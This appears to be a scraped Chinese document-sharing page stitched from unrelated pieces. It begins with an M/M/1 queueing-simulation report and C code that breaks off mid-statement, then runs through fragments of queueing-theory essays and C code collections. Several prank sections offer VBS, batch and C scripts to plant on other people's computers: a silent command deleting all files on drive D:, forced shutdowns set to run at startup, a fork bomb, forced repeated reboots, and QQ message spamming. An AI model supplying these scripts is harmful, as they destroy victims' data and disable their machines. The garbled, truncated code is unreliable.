排队论经典程序MM1代码

排队论经典程序MM1代码
排队论经典程序MM1代码

修理店仿真报告

一.问题:

①修理店空闲的概率;

②店内有三个顾客的概率;

③店内至少有一个顾客的概率;

④在店内顾客的平均数;

⑤顾客在店内的平均逗留时间;

⑥顾客必须在店内消耗15分钟以上的概率。

二.求解问题的方法:

①修理店空闲的概率:

(sim_time-area_server_status) / sim_time);

②店内有三个顾客的概率:

area_3_in_q/sim_time);

③店内至少有一个顾客的概率:

abv_1/sim_time);

④在店内顾客的平均数:

area_num_in_h/sim_time);

⑤顾客在店内的平均逗留时间:

(total_of_delays+total_of_server)/

num_custs_delayed );

⑥顾客必须在店内消耗15分钟以上概率:

abv_15/num_custs_delayed);

三。求解过程中计算统计量的方法:

①area_server_status += server_status * time_since_last_event;

②//店内有三个顾客的概率

if(server_status == BUSY)

//服务台忙,则有队列中有两个顾客

if(num_in_q == 2)

area_3_in_q += time_since_last_event;

③//店内至少有一个顾客的概率

if(server_status == BUSY) //服务台忙,则店内至少有一个顾客

abv_1 += time_since_last_event;

④//在店内顾客的平均数

if(server_status == BUSY) //服务台忙,总的顾客数为排队顾客数加一

area_num_in_h += (num_in_q+1) * time_since_last_event;

⑤total_of_server += time_next_event[2]-sim_time;//总的服务时间加一个服务时间为新的服务总时间

delay = sim_time - time_arrival[1];//排队时间=当前时间-这个人来的时间

total_of_delays += delay;

⑥//离开时总的消耗时间大于15,必须在店内消耗15分钟以上的顾客数加一

if((delay+time_next_event[2]-sim_time)>15)

abv_15++;

//到达时总的服务时间大于15,必须在店内消耗15分钟以上的顾客数加一

if((time_next_event[2]-sim_time)>15)

abv_15++;

程序代码:

/* External definitions for single-server queueing system. */

#include

#include

/*#include "lcgrand.h" Header file for random-number generator. */

#define Q_LIMIT 100 /* Limit on queue length.队伍最长100人*/

#define BUSY 1 /* Mnemonics for server's being busy 忙碌状态*/

#define IDLE 0 /* and idle.空闲状态 */

int next_event_type, //下一个事件类型

num_custs_delayed, //已模拟的顾客数

num_delays_required, //模拟的顾客数

num_events,//事件数

num_in_q, //队列中的顾客数

server_status;//服务状态

float area_num_in_q,//有顾客的时间

area_server_status,//总的服务时间

mean_interarrival,//平均顾客到达时间间隔

mean_service,//平均服务时间

sim_time, //模拟时间

time_arrival[Q_LIMIT + 1], //到来的时间

time_last_event, //上一个事件的时间

time_next_event[3],//下一个事件的时间

total_of_delays; //总的排队时间

/////////////////////////////////////////////////////////// /////////////////////////

//添加的变量

float abv_15, //15分钟以上的顾客数量 total_of_server, //所有顾客的总的服务时间

area_3_in_q, //有3个顾客的时间

abv_1, //至少有一个顾客的时间

area_num_in_h; //顾客总数

///////////////////////////////////////////////////////////

/////////////////////////

FILE *infile, *outfile;

/* The following 3 declarations are for use of the random-number generator

lcgrand and the associated functions lcgrandst and lcgrandgt for seed

management. This file (named lcgrand.h) should be included in any program

using these functions by executing

#include "lcgrand.h"

before referencing the functions. */

float lcgrand(int stream);

void lcgrandst(long zset, int stream);

long lcgrandgt(int stream);

void initialize(void);

void timing(void);

void arrive(void);

void depart(void);

void report(void);

void update_time_avg_stats(void);

float expon(float mean);

main() /* Main function. */

{

/* Open input and output files. */

infile = fopen("mm1.in", "r");

outfile = fopen("mm1.out", "w");

/* Specify the number of events for the timing function. */

num_events = 2;//两种事件

/* Read input parameters. */

fscanf(infile, "%f %f %d", &mean_interarrival, &mean_service,

&num_delays_required);

/* Write report heading and input parameters. 输出*/

fprintf(outfile, "Single-server queueing system\n\n"); fprintf(outfile, "Mean interarrival time%11.3f minutes\n\n",

mean_interarrival);

fprintf(outfile, "Mean service time%16.3f minutes\n\n", mean_service);

fprintf(outfile, "Number of customers%14d\n\n", num_delays_required);

/* Initialize the simulation.初始化仿真 */

initialize();//初始化

/* Run the simulation while more delays are still needed.没服务完,仿真继续 */

while (num_custs_delayed < num_delays_required) {//当已服务顾客数小于1000时

/* Determine the next event. 确定下一事件*/

timing();

/* Update time-average statistical accumulators.时间记录更新 */

update_time_avg_stats();

/* Invoke the appropriate event function. 根据事件的不同,调用不同的函数*/

switch (next_event_type) {

case 1:

arrive();//到达

break;

case 2:

depart();//离开

break;

}

}

/* Invoke the report generator and end the simulation. */ report();

fclose(infile);

fclose(outfile);

return 0;

}

void initialize(void) /* Initialization function. */

{

/* Initialize the simulation clock. 仿真时间置为0*/

sim_time = 0.0;

/* Initialize the state variables.最开始状态初始化 */

server_status = IDLE;//服务空闲

num_in_q = 0; //队伍里无人排队

time_last_event = 0.0; //上一个事件的时间,最开始肯定是

0开始

/* Initialize the statistical counters. */

num_custs_delayed = 0; //已经服务的人数

total_of_delays = 0.0;//总的排队时间

area_num_in_q = 0.0;//有顾客的时间

area_server_status = 0.0;//总的服务时间

/////////////////////////////////////////////////////////// //////////////////////

//添加的变量的初始化

area_3_in_q = 0.0;//有3个顾客的时间

abv_1 = 0.0;//有顾客的时间

area_num_in_h = 0.0;//顾客的总数

total_of_server = 0.0;//所有顾客的所有的服务的时间

abv_15 = 0.0;//消耗15分钟以上的顾客数

/////////////////////////////////////////////////////////// //////////////////////

/* Initialize event list. 初始化事件列表Since no customers are present, the departure

(service completion) event is eliminated from

consideration. 无顾客存在和离开*/

time_next_event[1] = sim_time +

expon(mean_interarrival);//下一事件是来的时间

time_next_event[2] = 1.0e+30; //下一事件是离开的时间

}

void timing(void) /* Timing function. */

{

int i;

float min_time_next_event = 1.0e+29; //

像指针一样的对于当前服务的人来说下一个事件的时间

next_event_type = 0;

/* Determine the event type of the next event to occur.

接下来将要发生的事件的类型 */

for (i = 1; i <= num_events; ++i)

if (time_next_event[i] < min_time_next_event) {//下

一事件是来的时间跟离开时间比较

min_time_next_event = time_next_event[i];

next_event_type = i;

}

/* Check to see whether the event list is empty. */

if (next_event_type == 0) {

/* The event list is empty, so stop the simulation. 无

事件,停止仿真过程*/

fprintf(outfile, "\nEvent list empty at time %f",

sim_time);

exit(1);

}

/* The event list is not empty, so advance the simulation

clock. 有事件,进行仿真过程*/

sim_time = min_time_next_event; //仿真的时间就是当前事件的时间

}

void arrive(void) /* Arrival event function. */

{

float delay;

/* Schedule next arrival.计划下一次的到来 */

time_next_event[1] = sim_time + expon(mean_interarrival);

/* Check to see whether server is busy. 检测是否在服务状态*/

if (server_status == BUSY) {

/* Server is busy, so increment number of customers in queue. 在服务则排队多一人*/

++num_in_q;

/* Check to see whether an overflow condition exists.

检测人数是否超出*/

if (num_in_q > Q_LIMIT) {

/* The queue has overflowed, so stop the simulation. */

fprintf(outfile, "\nOverflow of the array time_arrival at");

fprintf(outfile, " time %f", sim_time);

exit(2);

}

/* There is still room in the queue, so store the time of arrival of the

arriving customer at the (new) end of time_arrival. 队列中仍有空间时,记录新到达的时间*/

time_arrival[num_in_q] = sim_time;//在这个时间的时候有这么多的排队人数,用于计算3顾客的问题

}

else { //服务空闲的状况

/* Server is idle, so arriving customer has a delay of zero. (The

following two statements are for program clarity and do not affect

the results of the simulation.) */

delay = 0.0;

total_of_delays += delay; //总的排队时间

/* Increment the number of customers delayed, and make server busy. */

++num_custs_delayed; //已经模拟的顾客数加1

server_status = BUSY; //人到来,服务开始

/* Schedule a departure (service completion). 服务完成*/

time_next_event[2] = sim_time + expon(mean_service);//这个人离开的时间为现在时间+服务时间

/////////////////////////////////////////////////////////// //////////////////////

//总的服务时间加上当前服务时间,更新总的服务时间

total_of_server += time_next_event[2]-sim_time;//总的服务时间加一个服务时间为新的服务总时间

//总的服务时间大于15,必须在店内消耗15分钟以上的顾客数加一if((time_next_event[2]-sim_time)>15)//如果这个人服务时间超过15分钟则耗费15分钟人数加1

abv_15++;

/////////////////////////////////////////////////////////// //////////////////////

}

}

void depart(void) /* Departure event function. 讨论离开事件*/

{

int i;

float delay;

/* Check to see whether the queue is empty.检测队列是否为空 */

if (num_in_q == 0) {

/* The queue is empty so make the server idle and eliminate the

departure (service completion) event from consideration. 队列空,服务空闲*/

server_status = IDLE;

time_next_event[2] = 1.0e+30; //离开的时间无限大(无人离开)

}

else {

/* The queue is nonempty, so decrement the number of customers in

queue. 有人离开,队列人数减少*/

--num_in_q;

/* Compute the delay of the customer who is beginning service and update

the total delay accumulator. */

delay = sim_time - time_arrival[1];//排队时间=当前时间-这个人来的时间

total_of_delays += delay;

/* Increment the number of customers delayed, and schedule departure.已经服务人数+1 */

++num_custs_delayed; //服务人数加1

time_next_event[2] = sim_time + expon(mean_service);//当前接受服务的人的离开时间

/////////////////////////////////////////////////////////// //////////////////////

//总的服务时间加上当前服务时间,更新总的服务时间

total_of_server += time_next_event[2]-sim_time;

//总的消耗时间大于15,必须在店内消耗15分钟以上的顾客数加一

if((delay+time_next_event[2]-sim_time)>15)

abv_15++;

/////////////////////////////////////////////////////////// //////////////////////

/* Move each customer in queue (if any) up one place.有人离开,队列前移 */

for (i = 1; i <= num_in_q; ++i)

time_arrival[i] = time_arrival[i + 1];//人的到达时间也前移

}

}

void report(void) /* Report generator function. */

{

/* Compute and write estimates of desired measures of performance. */

fprintf(outfile, "\n\nAverage delay in queue%11.3f minutes\n\n",

total_of_delays / num_custs_delayed);

fprintf(outfile, "Average number in queue%10.3f\n\n",

area_num_in_q / sim_time);

fprintf(outfile, "Server utilization%15.3f\n\n",

area_server_status / sim_time);

fprintf(outfile, "Time simulation ended%12.3f minutes", sim_time);

printf("统计量:\n");

/////////////////////////////////////////////////////////// /////////////

//总时间减去服务台忙的时间除以总时间,得到服务台空闲的概率

printf("①修理店空闲的概率:%24.3f\n",

(sim_time-area_server_status) / sim_time);

printf("②店内有三个顾客的概率:%20.3f\n",

area_3_in_q/sim_time);

printf("③店内至少有一个顾客的概率:%16.3f\n",

abv_1/sim_time);

printf("④在店内顾客的平均数:%22.3f\n",

area_num_in_h/sim_time);

printf("⑤顾客在店内的平均逗留时间:%16.3f\n",

C程序代码大全

C程序代码大全 This manuscript was revised on November 28, 2020

<=70) cout<<"Your grade is a C."<=60) cout<<"Your grade is a D."< main() { int n; cout<<"n="; cin>>n; if (n>=0 && n<=100 &&n%2==0) cout<<"n="< main() { int a,b,Max; .10 for(int i=1;i<=10;i++) cout<=1;j--) cout<

排队论模型

排队论模型 随机服务系统理论是研究由顾客、服务机构及其排队现象所构成的一种排队系统的理论,又称排队论。排队现象是一种经常遇见的非常熟悉的现象,例如:顾客到自选商场购物、乘客乘电梯上班、汽车通过收费站等。随机服务系统模型已广泛应用于各种管理系统,如生产管理、库存管理、商业服务、交通运输、银行业务、医疗服务、计算机设计与性能估价,等等。随机服务系统模拟,如存储系统模拟类似,就是利用计算机对一个客观复杂的随机服务系统的结构和行为进行动态模拟,以获得系统或过程的反映其本质特征的数量指标结果,进而预测、分析或估价该系统的行为效果,为决策者提供决策依据。 排队论模型及其在医院管理中的作用 每当某项服务的现有需求超过提供该项服务的现有能力时,排队就会发生。排队论就是对排队进行数学研究的理论。在医院系统内,“三长一短”的现象是司空见惯的。由于病人到达时间的随机性或诊治病人所需时间的随机性,排队几乎是不可避免的。但如何合理安排医护人员及医疗设备,使病人排队等待的时间尽可能减少,是本文所要介绍的。 一、医院系统的排队过程模型 医院是一个复杂的系统,病人在医院中的排队过程也是很复杂的。如图1中每一个箭头所指的方框都是一个服务机构,都可构成一个排队系统,可见图2。 图1 医院系统的多级排队过程模型 二、排队系统的组成和特征 一般的排队系统都有三个基本组成部分: 1. 输入过程其特征有:顾客源(病人源)的组成是有限的或无限的;顾客单个到来或成批到来;到达的间隔时间是确定的或随机的;顾客的到来是相互独立或有关联的;顾客相继到达的间隔时间分布和所含参数(如期望值、方差等)都与时间无关或有关。 2. 排队规则其特征是对排队等候顾客进行服务的次序有下列规则:先到先服务,后到先服务,有优先权的服务(如医院对于病情严重的患者给予优先治疗,在此不做一般性的讨论),随机服务等;还有具体排队(如在候诊室)和抽象排队(如预约排队)。排队的列数还分单列和多列。 3. 服务机构其特征有:一个或多个服务员;服务时间也分确定的和随机的;服务时间的分布与时间有关或无关。

排队论及其在通信领域中的应用

排队论及其在通信领域中的应用 信息与通信工程学院 2班 姓名:李红豆 学号:10210367 班内序号:26 指导老师:史悦 一、摘要 排队论是为了系统的性态、系统的优化和统计推断,根据资料的合理建立模型,其目的是正确设计和有效运行各个服务系统,使之发挥最佳效益。排队是一种司空见惯的现象,因此排队论可以用来解决许多现实问题。利用排队论的知识可以来解决通信服务中的排队论问题。应用排队论一方面可以有效地解决通信服务系统中信道资源的分配问题;另一方面通过系统优化,找出用户和服务系统两者之间的平衡点,既减少排队等待时间,又不浪费信号资源,从而达到最优设计的完成。 二、关键字 排队论、最简单流、排队系统、通信 三、引言 排队论又称随机服务系统, 主要解决与随机到来、排队服务现象有关的应用问题。是研究系统由于随机因素的干扰而出现排队(或拥塞) 现象的规律的一门学科, 排队论的创始人Erlang 是为了解决电话交换机容量的设计问题而提出排队论。它适用于一切服务系统,包括通信系统、计算机系统等。可以说, 凡是出现拥塞现象的系统, 都属于随机服务系统。随着电子计算机的不断发展和更新, 通信网的建立和完善, 信息科学及控制理论的蓬勃发展均涉及到最优设计与最佳服务问题, 从而使排队论理论与应用得到发展。 四、正文 1、排队论概述: 1.1基本概念及有关概率模型简述: 排队论是一个独立的数学分支有时也把它归到运筹学中。排队论是专门研究由于随机因素的影响而产生的拥挤现象(排队、等待)的科学也称为随机服务系统理论或拥塞理论。它专于研究各种排队系统概率规律性的基础上解决有关排队系统的最优设计和最优控制问题。 排队论起源于20世纪初。当时美国贝尔Bell电话公司发明了自动电话以后如何合理配臵电话线路的数量以尽可能地减少用户重复呼叫次数问题出现了。 1909年丹麦工程师爱尔兰发表了具有重要历史地位的论文“概率论和电话交换”从而求解了上述问题。 1917年又提出了有关通信业务的拥塞理论用统计平衡概念分析了通信业务量问题形成了概率论的一个新分支。后经C.Palm等人的发展由近代概率论观点出发进行研究奠定了话务量理论的数学基础。

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

李春晓毕业论文之排队论模型及其应用

排队论模型及其应用 摘要:排队论是研究系统随机服务系统和随机聚散现象工作过程中的的数学理论和方法,又叫随机服务的系统理论,而且为运筹学的一个分支。又主要称为服务系统,是排队系统模型的基本组成部分。而且在日常生活中,排队论主要解决存在大量无形和有形的排队或是一些的拥挤现象。比如:学校超市的排队现象或出行车辆等现象,。排队论的这个基本的思想是在1910年丹麦电话工程师埃尔朗在解决自动电话设计问题时开始逐渐形成的。后来,他在热力学统计的平衡理论的启发下,成功地建立了电话的统计平衡模型,并由此得到了一组呈现递推状态方程,从而也导出著名的埃尔朗电话损失率公式。 关键词:出行车辆;停放;排队论;随机运筹学 引言:排队论既被广泛的应用于服务排队中,又被广泛的应用于交通物流领域。在服务的排队中到达的时间和服务的时间都存在模糊性,例如青岛农业大学歌斐木的人平均付款的每小时100人,收款员一小时服务30人,因此,对于模糊排队论的研究更具有一些现实的意义。然而有基于扩展原理又对模糊排队进行了一定的分析。然而在交通领域,可以非常好的模拟一些交通、货运、物流等现象。对于一个货运站建立排队模型,要想研究货物的一个到达形成的是一个复合泊松过程,每辆货车的数量为W,而且不允许货物的超载,也不允许不满载就发车,必须刚刚好,这个还是一个具有一般分布装车时间的一个基本的物流模型。 一.排队模型 排队论是运筹学的一个分支,又称随机服务系统理论或等待线理论,是研究要求获得某种服务的对象所产生的随机性聚散现象的理论。它起源于A.K.Er-lang的著名论文《概率与电话通话理论》。 一般排队系统有三个基本部分组成]1[: (1)输入过程: 输入过程是对顾客到达系统的一种描述。顾客是有限的还是无限的、顾客相继到达的间隔时间是确定型的也可能是随机型的、顾客到达是相互独立的还是有关联的、输入过程可能是平稳的还是不平稳的。 (2)排队规则: 排队规则是服务窗对顾客允许排队及对排队测序和方式的一种约定。排队规则可以分为3种制式: a 损失制系统------顾客到达服务系统时,如果系统中的所有服务窗均被占用,则顾客即时离去,不参与排队,因为这种服务机制会失掉许多顾客,故称损失制系统; b 等待制系统------顾客到达服务系统时,虽然发现服务窗均忙着,但系统设有场地供顾客排队等候之用,于是到达系统的顾客按先后顺序进行排队等候服

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

C语言代码大全

------------------------------------------------------------------------摘自宋鲁生程序设计大赛 乘法口诀表 #include #include void main(void) { int i,j,x,y; clrscr(); printf("\n\n * * * 乘法口诀表* * * \n\n"); x=9; y=5; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); x+=3; } x=7; y=6; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); y++; } x=9; y= 6; for(i=1;i<=9;i++) { for(j=1;j<=9;j++) { gotoxy(x,y); printf("%2d ",i*j); y++; } y-=9; x+=3; } printf("\n\n"); }

用一维数组统计学生成绩 #include void main() { char SelectKey,CreditMoney,DebitMoney; while(1) { do{ clrscr(); puts("========================="); puts("| Please select key: |"); puts("| 1. Quary |"); puts("| 2. Credit |"); puts("| 3. Debit |"); puts("| 4. Return |"); puts("========================="); SelectKey = getch(); }while( SelectKey!='1' && SelectKey!='2' && SelectKey!='3' && SelectKey!='4' ); switch(SelectKey) { case '1': clrscr(); puts("================================"); puts("| Your balance is $1000. |"); puts("| Press any key to return... |"); puts("================================"); getch(); break; case '2': do{ clrscr(); puts("=================================="); puts("| Please select Credit money: |"); puts("| 1. $50 |"); puts("| 2. $100 |"); puts("| 3. Return |"); puts("=================================="); CreditMoney = getch(); }while( CreditMoney!='1' && CreditMoney!='2' && CreditMoney!='3' ); switch(CreditMoney)

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

C 经典程序代码大全

C 经典程序代码大全 #include const float PI= 3.1416; //声明常量(只读变量)PI为 3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout=0.0) //如果参数大于0,则计算圆的周长 z=2*PI*x; return(z); //返回函数值 } //定义计算圆的面积的函数fCir_S() float fCir_S(float x) { float z=- 1.0; //声明局部变量 if (x>=0.0) //如果参数大于0,则计算圆的面积 z=PI*x*x; return(z); //返回函数值 } /* Program: P1- 2.CPP Written by: Hap Date written: 02:11:10 */ #include void main(void) { double s1,s2,s3; s1= 1.5; /* 对变量s1赋值*/ cout main() { double r=

1.0; cout>r; //键盘输入 l=2* 3.1416*r; //计算圆的周长,赋值给变量l cout //包含iostream.h头文件 void main() { //输出字符常量.变量和字符串 char c1= A ; cout //包含iostream.h头文件 main() { //输入输出字符 char c; cin>>c; cout>n; cout>x; cout>n; cout>c>>n>>x; cout //包含iostream.h头文件 main() { //声明整型变量 int a,b; //从键盘上为整型变量赋值cout>a; cout>b; //整型数的算术运算 cout //包含iostream.h 头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以进制形式显示数据 cout>a; cout>b; cout>c; cout //包含iostream.h头文件 #include // iomanip.h头文件包含setprecision()的定义 main() { //float型变量的声明.输入.计算和输出 float fx,fy; cout>fx; cout>fy; cout>dx; cout>dy; cout //包含iostream.h 头文件 main() { //字符类型变量的声明 char c1= A ; char c2; //字符数据的运算及输出 c2=c1+32; cout>c1>>c2; cout //包含iostream.h头文件 main() { char c1= \a ,TAB= \t ; //阵铃一声 cout //包含iostream.h头文件 main()

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

C经典程序代码大全

//根据半径计算圆的周长和面积#include const float PI=3.1416; //声明常量(只读变量)PI为3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout<<"r="; //显示字符串 cin>>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout<<"l="<= 80 && s < 90) { MessageBox.Show("良好"); } else if (s >= 70 && s < 80) { MessageBox.Show("中"); } else if (s >= 60 && s < 70) { MessageBox.Show("及格"); } else { MessageBox.Show("不及格"); } } 2)一元二次方程求解 private void button1_Click(object sender, EventArgs e) { double a = double.Parse(txb_A.Text), b = double.Parse(txb_B.Text), c = double.Parse(txb_C.Text); if (a == 0) { MessageBox.Show("方程的根是:" + (-c / b).ToString()); } else { double delta = Math.Pow(b, 2) - 4 * a * c;

if (delta >= 0) { double X1 = (-b + Math.Pow(delta, 0.5)) / 2 * a; double X2 = (-b - Math.Pow(delta, 0.5)) / 2 * a; string temp = "X1="+X1.ToString()+"\r\nX2="+X2.ToString(); MessageBox.Show(temp); } else { MessageBox.Show("没有实数根!"); } } } 3)1-100之间所有整数的和,能被某数整除的所有整数的和,积 private void button1_Click(object sender, EventArgs e) { int sum = 0; for (int i = 0; i <= 100; i = i + 1) { sum = sum + i; } textBox1.Text = sum.ToString(); } 求1~100之内所有偶数的和 int sum = 0; for (int i = 0; i <= 100; i = i + 2) { sum = sum + i; } textBox1.Text = sum.ToString(); private void button1_Click(object sender, EventArgs e) { int sum = 0; int a; for (int i = 0; i <= 100; i++) { a = i % 7; if (a == 0) { sum = sum + i;

整人电脑代码修订稿

整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】

第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + 